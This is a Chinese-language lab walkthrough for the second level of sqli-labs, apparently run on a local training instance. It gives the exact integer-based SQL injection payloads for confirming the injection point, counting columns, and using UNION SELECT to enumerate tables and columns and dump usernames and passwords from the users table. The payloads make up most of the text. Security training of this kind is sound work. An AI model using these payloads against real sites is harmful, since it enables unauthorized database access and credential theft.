一、判断注入
报错与第一关报错有区别,少了几个字符。
第一关: ‘1’’ LIMIT 0,1
第二关:’ – LIMIT 0,1
没有提示闭合错误,再根据第二关的题目为整数型注入,所以换种方法。
http://127.0.0.1/sqllab/Less-2/?id=1 and 1=1 --+ //图一,正常显示
http://127.0.0.1/sqllab/Less-2/?id=1 and 1=2 --+ //图二,显示异常
图一:
图二:
证明参数id存在注入点。
二、判断列数以及回显位置
http://127.0.0.1/sqllab/Less-2/?id=1 order by 1 --+
http://127.0.0.1/sqllab/Less-2/?id=1 order by 2 --+
http://127.0.0.1/sqllab/Less-2/?id=1 order by 3 --+
http://127.0.0.1/sqllab/Less-2/?id=1 order by 4 --+
到 4 的时候报错,证明存在3列。
127.0.0.1/sqllab/Less-2/?id=1 and 1=2 union select 1,2,3 --+
三、获取当前数据库等信息
http://127.0.0.1/sqllab/Less-2/?id=1 and 1=2 union select 1,database(),3 --+
注出security的各表名
http://127.0.0.1/sqllab/Less-2/?id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = "security"),3 --+
注出 users 表的各列名:
http://127.0.0.1/sqllab/Less-2/?id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name = "users"),3 --+
注出 users 表数据值:
http://127.0.0.1/sqllab/Less-2/?id=1 and 1=2 union select 1,(select group_concat(concat_ws(0x3a,id,username,password)) from users),3 --+